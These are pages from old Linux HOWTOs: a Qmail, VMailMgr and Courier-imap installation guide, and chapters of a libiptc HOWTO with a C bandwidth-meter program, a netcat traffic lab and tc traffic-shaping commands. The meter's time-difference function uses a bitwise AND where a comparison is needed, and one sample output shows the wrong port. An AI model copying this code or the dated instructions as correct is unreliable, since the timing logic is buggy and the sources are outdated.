Courier-imap does not come in binary form, unless you want to use the one I built. If you want mine, visit http://www.clearrivertech.com/linux/HOWTO/supportfiles/.

VMailMgr does not come in binary form that supports Courier-imap, unless you want to use the one I built. If you want mine, email me, and I will send it.

  • ucspi-tcp-0.88-1.i386.rpm - http://untroubled.org/rpms/ucspi-tcp/

  • ucspi-unix-0.34-1.i386.rpm - http://untroubled.org/ucspi-unix/

  • daemontools-0.70-1.i386.rpm - http://untroubled.org/rpms/daemontools/

  • supervise-scripts-3.3-1.noarch.rpm - http://untroubled.org/supervise-scripts/

  • qmail-1.03+patches-18.src.rpm - http://untroubled.org/qmail+patches/current/(*)

  • vmailmgr-0.96.9-2.i386.rpm - http://www.vmailmgr.org/current/

  • vmailmgr-courier-imap-0.96.9-2.i386.rpm - http://www.vmailmgr.org/current/

  • courier-imap-1.4.3.tar.gz - http://www.inter7.com/courierimap/ (**)

* For qmail, you must always compile yourself due to the license restrictions. ** For Courier-imap you must build the binary rpm from the tar file (instructions will follow) or email me for my binary rpm.

2.1.3. Get deb packages

There are multiple locations for qmail and vmailmgr deb packages. Courier-imap is part of the normal debian applications.

You can get them in the following locations:

  • http://bagic.net/~billy/debs/ - by Hon billy@bagic.net

  • http://www.tet.dk/ - by Ole Barnkob Kaas admin@tet.dk

  • http://smarden.org/pape/Debian/ - by Gerrit Pape pape@smarden.org

The packages by Hon are current and even include support for courier-imap, which was a great help for me, so I am going to use a combination of them for my examples. You can of course choose the ones you want for yourself, but your results may vary.

You will need:

  • ucspi-tcp_0.88-3_i386.deb - http://bagic.net/~billy/debs/ucspi-tcp/0.88-3/

  • ucspi-unix_0.34-1_i386.deb - http://bagic.net/~billy/debs/ucspi-unix/

  • The latest daemontools from - http://smarden.org/pape/Debian/daemontools.html

  • supervise-scripts_3.3-6_i386.deb - http://share.runtime-collective.com/~berkan/debian/dists/woody/misc/binary-i386/

  • qmail_1.03-17_i386.deb - http://bagic.net/~billy/debs/qmail/1.03-17/(*)

  • vmailmgr_0.96.9-3_i386.deb - http://bagic.net/~billy/debs/vmailmgr/

  • courier-imap - apt-get courier-imap

2.1.4. Get tarred sources (for non-RPM users)

If your system does not have, or you do not use RPMS, you can install from source.

  • ucspi-tcp-0.88.tar.gz - http://cr.yp.to/ucspi-tcp/

  • ucspi-unix-0.34.tar.gz - http://untroubled.org/ucspi-unix/

  • daemontools-0.70.tar.gz - http://cr.yp.to/daemontools

  • supervise-scripts-3.3.tar.gz - http://untroubled.org/supervise-scripts/

  • (qmail) release-18.tar.gz - http://untroubled.org/qmail+patches/current/ (*)

  • vmailmgr-0.96.9.tar.gz - http://www.vmailmgr.org/current/

  • courier-imap-1.4.3.tar.gz - http://www.inter7.com/courierimap/

(*) There may be minor differences in these instructions due to the use of the standard
Qmail package. Please review the documentation for Qmail and VMailMgr if any of
the files deviates from my instructions.

2.2. Install support packages

2.2.1. Install with RPMS

2.2.1.1. Compiling SRC.RPM's

Simply run the following command for each package rpm --rebuild <package.src.rpm> -Example-
  rpm --rebuild ucspi-tcp-0.88-1.src.rpm
  rpm --rebuild ucspi-unix-0.34-1.src.rpm
  rpm --rebuild daemontools-0.70-3.src.rpm
  rpm --rebuild supervise-scripts-3.3-1.src.rpm
You may get dependancy errors. If you do then install the package that is being requested using the steps below. This may happen when you compile daemontools before installing ucspi-tcp.

2.2.1.2. Installing RPM's

If you compiled the source rpms, the binaries will be located in /usr/src/redhat/RPMS/i386/ or something similar.

Simply run the following command for each package rpm -ivh <location>/<package.i386.rpm>

-Example-
  rpm -ivh /usr/src/redhat/RPMS/i386/ucspi-tcp-0.88-1.i386.rpm
  rpm -ivh /usr/src/redhat/RPMS/i386/ucspi-unix-0.34-1.i386.rpm
  rpm -ivh /usr/src/redhat/RPMS/i386/daemontools-0.70-3.i386.rpm
  rpm -ivh /usr/src/redhat/RPMS/i386/supervise-scripts-3.3-1.i386.rpm

2.2.2. Install with debs

Run the following commands for each package (as root) dpkg -i <package.deb>

-Example-
  dpkg -i ucspi-tcp_0.88-3_i386.deb
  dpkg -i ucspi-unix_0.34-1_i386.deb
  dpkg -i daemontools_0.70-1_i386.deb
  dpkg -i supervise-scripts_3.3-6_i386.deb

2.2.3. Install with source

Run the following commands for each package (As non-root user) tar zxf <package.tar.gz> cd <newly created dir> ./configure make (As root) make setup check (for ucspi-tcp and daemontools) or make install (for ucspi-unix and supervise-scripts)

-Example-
  (As non-root user)
  tar zxf supervise-scripts-2.4.tar.gz
  cd supervise-scripts-2.4
  ./configure
  make
  (As root)
  make setup check or  make install

2.3. Install Qmail

2.3.1. Install with RPMS

2.3.1.1. Compiling SRC.RPM's

After installing the support packages, Simply run the following command: rpm --rebuild <package.src.rpm>

-Example-
  rpm --rebuild qmail-1.03+patches-18.src.rpm

2.3.1.2. Installing RPM's

After compiling the source rpms, the binaries will be located in /usr/src/redhat/RPMS/i386/ or something similar.

Simply run the following command for the qmail package rpm -ivh <location>/<package.i386.rpm>

-Example-
  rpm -ivh /usr/src/redhat/RPMS/i386/qmail-1.03+patches-18.i386.rpm

* note start * - Remove sendmail and any dependant applications prior to installing Qmail - by running the following command for each package - rpm -e <packagename>* - - On my system I had to remove sendmail, so I typed - rpm -e sendmail * note end *

2.3.2. Install with debs

Run the following commands for each package (as root) dpkg -i <package.deb>

-Example-
  dpkg -i qmail_1.03-17_i386.deb

2.3.3. Install with source

Run the following command (As non-root user) tar zxf <package.tar.gz> cd <newly created dir> (Now read the INSTALL file and follow the steps to install Qmail) -Example-
  (As non-root user)
  tar zxf release-18.tar.gz
  cd release-1.03
  vi INSTALL (Read and follow steps)

2.4. Install Courier-imap

2.4.1. Install with RPMS

2.4.1.1. Compiling SRC.RPM's

Build the courier-imap rpms from the tar file rpm -ta courier-imap-1.4.3.tar.gz

* note start * - This errors out if you compile as root, but if your not root you - wont have permissions to /usr/src/redhat. You will want to build as a - non-root user, so create a ".rpmmacros" file (for rpm v3 and later) in - your home directory containing the line "%_topdir /path/to/home/redhat". - Then create your own "redhat" directory containing all the subdirs that - /usr/src/redhat contains. - You should never build RPMs as root unless you have to. * note end *

* I will mention again, that I have built the binaries, and you can get them at * * http://www.clearrivertech.com/linux/HOWTO/supportfiles/. *

2.4.1.2. Installing RPM's

After compiling the source rpms, the binary will be located in /usr/src/redhat/RPMS/i386/ or something similar.

Simply run the following command for each package rpm -ivh <location>/<package.i386.rpm>

-Example-
  rpm -ivh /usr/src/redhat/RPMS/i386/courier-imap-1.4.3.i386.rpm

2.4.2. Install with debs

Run the following commands for each package (as root) apt-get <package.deb>

-Example-
  apt-get courier-imap

2.4.3. Install with source

Run the following command (As non-root user) tar zxf <package.tar.gz> cd <newly created dir> ./configure make (As root) make install

-Example-
  (As non-root user)
  tar zxf courier-imap-1.4.3.tar.gz
  cd courier-imap-1.4.3
  ./configure
  make
  (As root)
  make install

2.5. Install VMailMgr

2.5.1. Install with RPMS

2.5.1.1. Compiling SRC.RPM's

There is a problem compliling VMailMGR on RedHat 7.x distros (and maybe other new ones as well). To solve this you must edit the source files These files need to have an #include <string.h> added
lib/misc/exec.cc
lib/misc/keystrlist.cc
lib/misc/strlist.cc
lib/mystring/append.cc
authenticate/authvmailmgr.cc
The following needs to have an #include <stdlib.h>:
authenticate/vauthenticate.cc
authenticate/checkvpw.cc
The copies I have on http://www.clearrivertech.com/linux/HOWTO/supportfiles/rh72/ are already patched.

Simply run the following command rpm --rebuild <package.src.rpm> -Example-
  rpm --rebuild vmailmgr-0.96.9-1.src.rpm

2.5.1.2. Installing RPM's

If you compiled the source rpm, the binaries will be located in /usr/src/redhat/RPMS/i386/ or something similar.

Simply run the following command for each package rpm -ivh <location>/<package.i386.rpm>

-Example-
  rpm -ivh /usr/src/redhat/RPMS/i386/vmailmgr-0.96.9-1.i386.rpm
  rpm -ivh /usr/src/redhat/RPMS/i386/VMailMgr-daemon-0.96.6-1.i386.rpm
  rpm -ivh /usr/src/redhat/RPMS/i386/vmailmgr-courier-imap-0.96.9-2.i386.rpm

2.5.2. Install with debs

Run the following commands for each package (as root) dpkg -i <package.deb>

-Example-
  dpkg -i vmailmgr_0.96.9-3_i386.deb

2.5.3. Install with source

There is a problem compliling VMailMGR on RedHat 7.x distros (and maybe other new ones as well). To solve this you must edit the source files These files need to have an #include <string.h> added
lib/misc/exec.cc
lib/misc/keystrlist.cc
lib/misc/strlist.cc
lib/mystring/append.cc
authenticate/authvmailmgr.cc
The following needs to have an #include <stdlib.h>:
authenticate/vauthenticate.cc
authenticate/checkvpw.cc
The copies I have on http://www.clearrivertech.com/linux/HOWTO/supportfiles/rh72/ are already patched.

Run the following commands (As non-root user) tar zxf <package.tar.gz> cd <newly created dir> ./configure make (As root) make install -Example-
  (As non-root user)
  tar zxf vmailmgr-0.96.9.tar.gz
  cd vmailmgr-0.96.9
  ./configure
  make
  (As root)
  make setup check or  make install
That should do it.

Prev | Home | Next
Introduction |  | Putting it all together


Putting it all together

Qmail VMailMgr and Courier-Imap HOWTO
Prev

3. Putting it all together

3.1. Basic Qmail config

You will need to add your domains to the /var/qmail/control/virtualdomains file in the following format as is normal with qmail and VMailMgr. domain1.com:user1 For more detailed setup and config documentation visit the Qmail website http://www.qmail.org and the VMailMgr website http://www.vmailmgr.org

3.2. Tell Qmail to use VMailMgr for authentication

By default qmail uses checkpassword for authentication, to tell Qmail to use VMailMgr for authentication type the following command:
  echo checkvpw > /var/qmail/control/checkpassword

3.3. Setup Courier-imap for VMailMgr

Copy the VMailMgr auth libs to courier's directory. If you installed from RPM, then the vmailmgr-courier-imap RPM will have done this for you. Otherwise use this command:
  cp /usr/bin/authvmailmgr /usr/lib/courier-imap/libexec/authlib/

Edit /usr/lib/courier-imap/etc/imapd and add authvmailmgr as the only entry in AUTHMODULES

For more detailed setup and config documentation visit the Courier-imap website http://www.inter7.com/courierimap/

3.4. Setup virtual domain with VMailMgr

With the user account that will be managing the domain go to their home dir and type:
  vsetup

This will setup the users home dir with the necessary structure to handle incoming email. You will probably want to create a email account by typing

  vadduser emailuser

For more detailed setup and config documentation visit the VMailMgr website http://www.vmailmgr.org

3.5. Starting the daemons

Starting the Qmail daemon. Qmail installs itself to autostart by some mysterious (to me) way. If you like init scripts you can get Larry Doolittle's (ldoolitta@ajlab.org) init.d script at http://qmail.area.com/init.d-script If you have the Larry's init.d script just do this.
  /etc/rc.d/init.d/qmail start

Start VMailMgr daemon
  /etc/rc.d/init.d/vmailmgrd start

Start Courier-imap damon
  /etc/rc.d/init.d/courier-imap start

3.6. Some considerations left

Qmail and the Maildirs may cause some email apps that run locally to not work. Visit the Qmail website http://www.qmail.org for details on email apps that have been patched to work with Maildirs.

Courier-imap is not as widely used as Cyrus or UWash imap servers. As such, you may suffer from minor incompatibilities. Courier-imap is extremely well written, and tries to comply with the imap definition even if it means some imap clients wont work well. For details visit the Courier-imap website http://www.inter7.com/courierimap/.

3.7. Mail clients

With the solution you should now have setup you will need to know that user accounts will be user@domain.com Netscape does not like this, so for netscape use user:domain.com

I would like to suggest that you also checkout phpGroupWare at http://www.phpgroupware.org. I have built in support for vmailmgr into it already and it can give you an end result of a full Groupware solution to fend of MS Exchange/Outlook or Lotus Domino.

If you decide to use a web based mail client, you will probably want to adjust courier-imaps MAXPERIP setting. By default it is 4, which is a bit low. Bump it up to something more sensible, like 10 - 50. Otherwise our webmail users will have problems connecting. This setting is in /usr/lib/courier-imap/etc/imapd.

3.8. Known bugs

None yet.

3.9. The final word

Im tired, and wonder if anyone will ever use this, but I'm happy its done. I'm sure if you have read this far your tired too. Well, all I can hope is that you have Qmail, VMailMgr and Courier-imap working. If so, Enjoy! If not, bummer!

O.K. readers, you're done for today. Feel free to send me your feedback, eternal gratitude, flowers, ecash, cars, oil sources etc.

Prev | Home
Component installation |


About the author

Querying libiptc HOWTO
Prev

16. About the author

Leonardo Balliache is a power electrical engineer that left high voltage lines, transformers and protection relays in 1983 to dedicated full of his time to computer sciences.

He is the General Manager of OpalSoft, a venezuelan company dedicated to business packages software development.

In 1989 he started learning Unix using Coherent operating system. After this he was interested in Linux and specially in bandwidth bottleneck problems, bandwidth controlling, packet filtering and hierarching, Linux QoS (Quality of Service), advanced routing, network protection, firewalling, private network connection through the Internet and solving line and server load balancing problems.

His company will be opening a new area of business offering Linux QoS solution implementations in Venezuela.

Married to Cielo, with 3 sons (Jose, Dario, Gustavo), he can be reached at leonardo@opalsoft.net. He is working now (please be patient) to open a QoS Linux information site at http://opalsoft.net/qos/ to interchange knowledge with people interested and to make his works in the Linux "best of all" operating system available to the public.

April 30, 2002

Caracas, Venezuela

Prev | Home
Some interesting links |


Bandwidth meter

Querying libiptc HOWTO
Prev Next

13. Bandwidth meter

In this chapter I am going to develop a simple bandwidth meter using the following functions from libiptc:

  • To initialize the system: iptc_handle_t iptc_init(const char *tablename).

  • To catch from errors: const char *iptc_strerror(int err).

  • To iterate through the chains of the table: const char *iptc_first_chain(iptc_handle_t *handle) and const char *iptc_next_chain(iptc_handle_t *handle).

  • To read packet and byte counters for a specific rule: struct ipt_counters *iptc_read_counter(const ipt_chainlabel chain, unsigned int rulenum, iptc_handle_t *handle).

Also the function gettimeofday will be used to measure elapsed time and the function getopt to get options from the command line.

I don't know really if the term bandwidth meter is well used here. I interpret bandwidth as a reference to a flow capacity; perhaps a better term could be flow meter.

Here is the bandwidth meter bw.c. It's well commented to be easy followed by everyone:

/*
 * How to use libiptc- program #4
 * /usr/local/src/bw.c
 * By Leonardo Balliache - 04.09.2002
 * e-mail: leonardo@opalsoft.net
 * --WELL COMMENTED-- to be easy followed by everyone.
 */

/* include files required */
#include <getopt.h>
#include <sys/errno.h>
#include <sys/time.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <time.h>
#include <unistd.h>
#include "libiptc/libiptc.h"
#include "iptables.h"

/* colors to differentiate chains measures */
#define RED     "\033[41m\033[37m"
#define GREEN   "\033[42m\033[30m"
#define ORANGE  "\033[43m\033[30m"
#define BLUE    "\033[44m\033[37m"
#define MAGENTA "\033[45m\033[37m"
#define CYAN    "\033[46m\033[30m"
#define WHITE   "\033[47m\033[30m"
#define BLACK   "\033[40m\033[37m"
#define RESET   "\033[00m"

/* maximum number of chains to be processed */
#define MAXUSERCHAINS 7

/* time between measures in seconds; adjust as you like */
#define SLEEPTIME 1

/* structure to count bytes per chain */
struct bwcnt  {
  int start;           /* the chain was initialized */
  u_int64_t icnt;      /* bytes through; previous measure */
  u_int64_t ocnt;      /* bytes through; current measure */
  double bw;           /* bandwitdh (flow) on this chain */
};

/* function to calculate differences of time in seconds.
 * micro-seconds precision.
 */
double delta(struct timeval a, struct timeval b)
{
  if (a.tv_usec & b.tv_usec)  {
    a.tv_sec--;
    a.tv_usec += 1000000;
  }
  return a.tv_sec-b.tv_sec + (a.tv_usec-b.tv_usec)/1000000.0;
}

/* main function */
int main(int argc, char *argv[])
{
  int i, j, ok;
  double totbw;
  iptc_handle_t h;
  int c, act_bw = 0;
  const char *chain = NULL;
  const char *tablename = "filter";
  struct timeval ti, to;
  struct bwcnt bw[MAXUSERCHAINS];
  struct ipt_counters *counters;
  char *col[9] = { RED,GREEN,ORANGE,BLUE,MAGENTA,CYAN,WHITE,BLACK,RESET };

  program_name = "bw";
  program_version = NETFILTER_VERSION;

 /* check options
  * we have 2 options:
  *        -c = display current flow (each SLEEPTIME).
  *        -a = display average flow (from start); default option.
  */
  while ((c = getopt (argc, argv, "ac")) != -1)
  switch (c)  {
  case 'a':
    act_bw = 0;
    break;
  case 'c':
    act_bw = 1;
    break;
  case '?':
    if (isprint(optopt))
      fprintf (stderr, "Unknown option `-%c'.\n", optopt);
    else
      fprintf (stderr,"Unknown option character `\\x%x'.\n",optopt);
    exit(1);
  default:
    abort();
  }

  /* initialize array of chains */
  memset(&bw, 0, MAXUSERCHAINS * sizeof(struct bwcnt));

  /* get time to start meter on variable ti */
  gettimeofday(&ti, NULL);

  /* fire meter loop */
  if ( act_bw )
    printf("Displaying current flow values ...\n");
  else
    printf("Displaying average flow values ...\n");

  /* forever loop; abort the program with ^C */
  while ( 1 )  {
    /* you have to initialize for each measure to be done */
    if ( !(h = iptc_init(tablename)) )  {
      printf("Error initializing: %s\n", iptc_strerror(errno));
      exit(errno);
    }
    ok = 0;    /* we start a new loop */
    gettimeofday(&to, NULL);  /* have a time shoot */

    /* iterate through each chain of the table */
    for (chain = iptc_first_chain(&h), i = 0;
         chain;
         chain = iptc_next_chain(&h))  {
      if ( iptc_builtin(chain, h) )
        continue;    /* if it is a built-in chain, ignore it */

      /* ok, read the counters of this chain */
      if ( !(counters = iptc_read_counter(chain, 0, &h)) )  {
         printf("Error reading %s: %s\n", chain, iptc_strerror(errno));
         exit(errno);
      }

      /* check that we do not have more chains than we can process */
      if ( i >= MAXUSERCHAINS )  {
         printf("Maximum of %d user chains exceeded!!\n", MAXUSERCHAINS);
         exit(1);
      }

      /* this chain counter has not been initialized; initialize it */
      if ( bw[i].start == 0 )  {
        bw[i].icnt = counters->bcnt;
        bw[i].start = 1;
      }

      /* this chain has a previous measure; take the current one */
      else  {
        bw[i].ocnt = counters->bcnt;
        if ( bw[i].ocnt == bw[i].icnt )    /* no new bytes flowing? */
          bw[i].bw = 0;                    /* flow is zero */
        else
         /* flow in this chain is:
          *   current bytes count (bw[i].octn)    *minus*
          *   previous bytes count (bw[i].icnt)   *divided by*
          *   128.0 to convert bytes to kbits     *and divided by*
          *   difference in times in seconds      *to get*
          *   flow in kbits/sec that is what we want.
          */
          bw[i].bw = (bw[i].ocnt - bw[i].icnt) / (128.0 * delta(to, ti));

       /* do you want current flow of this chain? initialize previous
        * bytes count to current bytes count; we get the flow in last
        * SLEEPTIME elapsed time.
        */
        if ( act_bw )
          bw[i].icnt = bw[i].ocnt;
        ok = 1;    /* ok, we have some measure to show */
      }
      ++i;  /* next chain, please */
    }

    /* we iterate and i == 0; we do not have user chains at all */
    if ( i == 0 )  {
       printf("No user chains to meter!!\n");
       exit(1);
    }

   /* do you want to measure current flow? initialize previous time
    * to actual time; we get the time elapsed in last SLEEPTIME.
    */
    if ( act_bw )
      ti = to;

    /* do we have something to show? ok, display it */
    if ( ok )  {
      totbw = 0;
      for ( j = 0; j < i; ++j )  {
        totbw = totbw + bw[j].bw;   /* calculate total flow */
      }
      printf("%s%6.1fk:%s ", col[7], totbw, col[8]);  /* display total */
      for ( j = 0; j < i; ++j )  {  /* display flow of each chain in color */
        printf("%s%6.1fk%s ", col[j], bw[j].bw, col[8]);
      }
      printf("\n");
    }
    sleep(SLEEPTIME);  /* rest a little; you go too fast */
  }             /* give us enough time in order to let some bytes flow */

  exit(0);  /* bye, we have our measures!! */

} /* main */

Write your program and compile as before:

bash# ./ipt-cc bw

Before using the meter we need to set our environment.

First, we have to have at least 2 PCs connected in a network. This is our diagram configuration:

+--------+ eth0       eth0 +--------+
| PC #1  +-----------------+ PC #2  |
+--------+                 +--------+
eth0=192.168.1.1           eth0=192.168.1.2

Second, we need to install a very nice and useful package called netcat written by Hobbit. This excellent package will help us to inject and receive a flow of bytes between 2 NICs. If you don't have the package in your system, download it from http://rr.sans.org/audit/netcat.php.

The version that I use is 1.10-277. To install it follow these instructions:

bash# cp netcat-1.10.tar.gz /usr/local/src
bash# tar xzvf netcat-1.10.tar.gz
bash# cd netcat-1.10

My version requires to make a patch first; check yours if you have a file with a .dif extension and apply it too:

bash# patch -p0 -i netcat-1.10.dif

Next compile the package using make:

bash# make linux

Copy the binary nc to your user bin directory:

bash# cp nc /usr/bin

And also to the second PC in your network:

bash# scp nc 192.168.1.2:/usr/bin

We are going to use netcat to "listen" to a flow of bytes from PC #2 and to "talk" from PC #1. Using tty1 to tty4 consoles on PC #2 let's start netcat to listen from this PC. Go to PC #2 and in tty1 type:

bash# nc -n -v -l -s 192.168.1.2 -p 1001 >/dev/null

netcat must respond with:

listening on [192.168.1.2] 1001 ...

This command started netcat to listen from address 192.168.1.2 using port number 1001. Arguments are: -n = use numeric address identification; -v = verbose; -l = listen. All the flow that netcat receives in 192.168.1.2:1001 will be redirected to the "black hole" in /dev/null.

Repeat the command in tty2, tty3 and tty4; change to tty2 using ALT-F2 and after logging in write:

bash# nc -n -v -l -s 192.168.1.2 -p 1002 >/dev/null

Now we are "listening" to the same address but port number 1002.

Go on now with tty3:

bash# nc -n -v -l -s 192.168.1.2 -p 1003 >/dev/null

And tty4:

bash# nc -n -v -l -s 192.168.1.2 -p 1004 >/dev/null

Now we are listening in PC #2, address 192.168.1.2 in ports 1001, 1002, 1003 and 1004.

Come back to PC #1 and let's set the environment to allow iptables to help us to complete our tests:

On PC #1, type the into tty1 as follows:

bash# iptables -F
bash# iptables -X
bash# iptables -N chn_1
bash# iptables -N chn_2
bash# iptables -N chn_3
bash# iptables -N chn_4
bash# iptables -A chn_1 -j ACCEPT
bash# iptables -A chn_2 -j ACCEPT
bash# iptables -A chn_3 -j ACCEPT
bash# iptables -A chn_4 -j ACCEPT
bash# iptables -A OUTPUT -o eth0 -p tcp --dport 1001 -j chn_1
bash# iptables -A OUTPUT -o eth0 -p tcp --dport 1002 -j chn_2
bash# iptables -A OUTPUT -o eth0 -p tcp --dport 1003 -j chn_3
bash# iptables -A OUTPUT -o eth0 -p tcp --dport 1004 -j chn_4

These commands will:

  • Flush all chains in table filter.

  • Delete all user chains in table filter.

  • Create user chains chn_1, chn_2, chn_3 and chn_4.

  • Establish a target ACCEPT in each user chain.

  • Create 4 rules in chain OUTPUT that matches port numbers 1001 to 1004 and target it to user chains chn_1 to chn_4.

Now start the bw meter using current values:

bash# ./bw -c

It must respond with:

Displaying current flow values ...
   0.0k:    0.0k    0.0k    0.0k    0.0k
   0.0k:    0.0k    0.0k    0.0k    0.0k
   0.0k:    0.0k    0.0k    0.0k    0.0k
   0.0k:    0.0k    0.0k    0.0k    0.0k

It informs that measures are current flows. Every line is a measure taken each SLEEPTIME lapse (1 second in our program). First column (in black) are total flow, next columns (in red, green, orange and blue) are flows in chains chn_1, chn_2, chn_3 and chn_4 respectively. Of course we do not have any flow now. However let bw run and continue reading.

Let's start now one of our byte flows; go to tty2 in PC #1 with ALT-F2 and after logging in, type:

bash# yes 000000000000000000 | nc -n -v -s 192.168.1.1 -p 2001 192.168.1.2 1001

netcat responds with:

(UNKNOWN) [192.168.1.2] 1000 (?) open

Now we have a flow of bytes from PC #1 to PC #2. yes generates a constant flow of zeroes; this flow is piped to netcat through address 192.168.1.1, port 2001 and sends it to PC #2, address 192.168.1.2, port 1001 (where PC #2 is listening).

Check now the display of bw in tty1:

7653.2k: 7653.2k    0.0k    0.0k    0.0k
7829.5k: 7829.5k    0.0k    0.0k    0.0k
7786.7k: 7786.7k    0.0k    0.0k    0.0k
7892.1k: 7982.1k    0.0k    0.0k    0.0k

Your mileage can vary depending of the physical characteristics of your system. In mine I have a flow of aproximately 7700 kbits/sec in the first chain chn_1 which corresponds to port number 1001 in PC #2.

Let's start now the second bytes flow; go to tty3 in PC #1 with ALT-F3 and after logging in, type:

bash# yes 000000000000000000 | nc -n -v -s 192.168.1.1 -p 2002 192.168.1.2 1002

netcat responds with:

(UNKNOWN) [192.168.1.2] 1002 (?) open

Now we have 2 flows of bytes from PC #1 to PC #2; one from 192.168.1.1:2001 to 192.168.1.2:1001 and another from 192.168.1.1:2002 to 192.168.1.2:1002.

Now check the display of bw in tty1:

7819.6k: 4144.2k 3675.4k    0.0k    0.0k
8090.5k: 3923.9k 4166.6k    0.0k    0.0k
7794.7k: 3920.8k 3873.9k    0.0k    0.0k
7988.3k: 3754.6k 4233.7k    0.0k    0.0k

Now we have 2 flows; each of them is more or less 50% of the total flow going out of the computer. The Linux kernel tries to balance the bandwidth available between the 2 channels of output.

To continue, start the 2 aditional flows through channels 192.168.1.1:2003-192.168.1.2:1003 and 192.168.1.1:2004-192.168.1.2:1004.

In tty4 type:

bash# yes 000000000000000000 | nc -n -v -s 192.168.1.1 -p 2003 192.168.1.2 1003

In tty5 type:

bash# yes 000000000000000000 | nc -n -v -s 192.168.1.1 -p 2004 192.168.1.2 1004

The display of bw in tty1 will be something like:

8120.6k: 1705.3k 2354.9k 1898.6k 2161.8k
7765.3k: 1634.2k 2560.2k 2011.4k 1559.5k
7911.9k: 1699.8k 2090.3k 1768.0k 2353.8k
8309.4k: 1734.5k 1999.7k 1999.9k 2575.3k

Total bandwidth is distributed between the 4 channels of flow.

Prev | Home | Next
Functions to modify firewalling rules and statistics |  | Controlling flows


Controlling flows

Querying libiptc HOWTO
Prev Next

14. Controlling flows

In this chapter we are going to try to control the flows using the Linux kernel queue disciplines. Perhaps, depending on how you compiled your kernel, you will again need to run make menuconfig, re-configure your options, re-compile and re-install your kernel.

This chapter is not and does not pretend to be a tutorial about the implementation of QoS (Quality of Service) in Linux. If you don't have previous experience with QoS it's better to read some references at the end of this document to acquire the concepts required for QoS implementation.

With this advice, I'm not going to explain in detail each of the commands needed to control flows in Linux because it is not the goal of this HOWTO. However, the implementation of some of these techniques will serve us to show the bandwidth meter (based on libiptc) behaviour.

First check if you have QoS implementation options implemented in your kernel. Run make menuconfig, follow the menu to Networking options and look for last menu of this option QoS and/or fair queueing. Here use (or check if they are active) these options:

       [*] QoS and/or fair queueing
       <M> CBQ packet scheduler
       <M> CSZ packet scheduler
       [*] ATM pseudo-scheduler
       <M> The simplest PRIO pseudoscheduler
       <M> RED queue
       <M> SFQ queue
       <M> TEQL queue
       <M> TBF queue
       <M> GRED queue
       <M> Diffserv field marker
       <M> Ingress Qdisc
       [*] QoS support
       [*]   Rate estimator
       [*] Packet classifier API
       <M>   TC index classifier
       <M>   Routing table based classifier
       <M>   Firewall based classifier
       <M>   U32 classifier
       <M>   Special RSVP classifier
       <M>   Special RSVP classifier for IPv6
       [*]   Traffic policing (needed for in/egress)

Save your configuration, recompile your kernel and modules, and re-install it. We are going to use the CBQ packet scheduler to implement some queues to control bytes flow in our PC #1 NIC.

Personally I preferred the excellent HTB queueing discipline implementation by Martin Devera but actually this implementation is not in standard Linux (but it will be); for implementing it you have to patch your kernel before recompiling and it's better not to complicate things more. However I have to say that this queue discipline is a lot more simple to use than CBQ happens to be. More information on HTB queueing discipline are linked at the end of this document.

Having compiled and re-installed your kernel you have to install the iproute2 package that will be used to run the commands needed to implement the queues. Download this package from ftp://ftp.inr.ac.ru/ip-routing.

I'm working with version 2.2.4-now-ss001007. To install it follow these instructions:

bash# cp iproute2-2.2.4-now-ss001007.tar.gz /usr/local/src
bash# tar xzvf iproute2-2.2.4-now-ss001007.tar.gz
bash# cd iproute2
bash# make

After make compiles the iproute2 package successfully the ip utility will be in iproute2/ip directory and the tc utility in iproute2/tc directory. Copy both of them to /usr/bin directory:

bash# cp ip/ip /usr/bin
bash# cp tc/tc /usr/bin

Now, using the tc utility, we are going to create a CBQ queue in the interface eth0 of the PC #1 computer. This queue will have 4 classes as children and each of these classes will be used to control the 4 flows from 192.168.1.1 to 192.168.1.2 through ports 1001 to 1004.

Write and run the following commands:

bash# tc qdisc add dev eth0 root handle 1:0 cbq bandwidth 10Mbit \
avpkt 1000 cell 8

This command creates the main (root) cbq queue 1:0 in the eth0 interface; the bandwidth of this queue is 10Mbit/sec corresponding to our Ethernet interface.

Now write and run:

bash# tc class add dev eth0 parent 1:0 classid 1:1 cbq bandwidth 10Mbit \
rate 1000kbit prio 8 allot 1514 cell 8 maxburst 20 avpkt 1000 bounded

This command create the main cbq class 1:1. The rate of this class will be 1000kbit/sec.

Now we are going to create 4 classes ownned by this class; the classes will have rates of 100kbit, 200kbit, 300kbit and 400kbit respectively. Write and run these commands:

bash# tc class add dev eth0 parent 1:1 classid 1:3 cbq bandwidth 10Mbit \
rate 100kbit prio 5 allot 1514 cell 8 maxburst 20 avpkt 1000

bash# tc class add dev eth0 parent 1:1 classid 1:4 cbq bandwidth 10Mbit \
rate 200kbit prio 5 allot 1514 cell 8 maxburst 20 avpkt 1000

bash# tc class add dev eth0 parent 1:1 classid 1:5 cbq bandwidth 10Mbit \
rate 300kbit prio 5 allot 1514 cell 8 maxburst 20 avpkt 1000

bash# tc class add dev eth0 parent 1:1 classid 1:6 cbq bandwidth 10Mbit \
rate 400kbit prio 5 allot 1514 cell 8 maxburst 20 avpkt 1000

Each of these classes will have a sfq queue discipline attached to them to dispatch their packets. Write and run these commands:

bash# tc qdisc add dev eth0 parent 1:3 handle 30: sfq perturb 15
bash# tc qdisc add dev eth0 parent 1:4 handle 40: sfq perturb 15
bash# tc qdisc add dev eth0 parent 1:5 handle 50: sfq perturb 15
bash# tc qdisc add dev eth0 parent 1:6 handle 60: sfq perturb 15

These commands create 4 sfq queue disciplines, one for each class. sfq queue discipline is some kind of fair controlling queue. It tries to give to each connection in an interface same oportunity to their packets to be dispatched to at all.

Finally we are going to create filters to assign flows to ports 1001, 1002, 1003 and 1004 to classes 1:3, 1:4, 1:5 and 1:6 respectively. Write and run as follows:

bash# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 match ip \
dport 1001 0xffff flowid 1:3

bash# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 match ip \
dport 1002 0xffff flowid 1:4

bash# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 match ip \
dport 1003 0xffff flowid 1:5

bash# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 match ip \
dport 1004 0xffff flowid 1:6

After running all these commands, now check your bw meter (you must be running netcat listening at ports 1001 to 1004 in PC #2 and talking in PC #1 as was explained in previous chapter and bw running in current -c mode). You will have something like this:

Current flow values ...
   1099.9k:  108.8k  196.5k  337.9k  456.8k
   1104.2k:  115.3k  184.9k  339.9k  464.1k
   1102.1k:  117.3k  174.7k  339.7k  470.5k
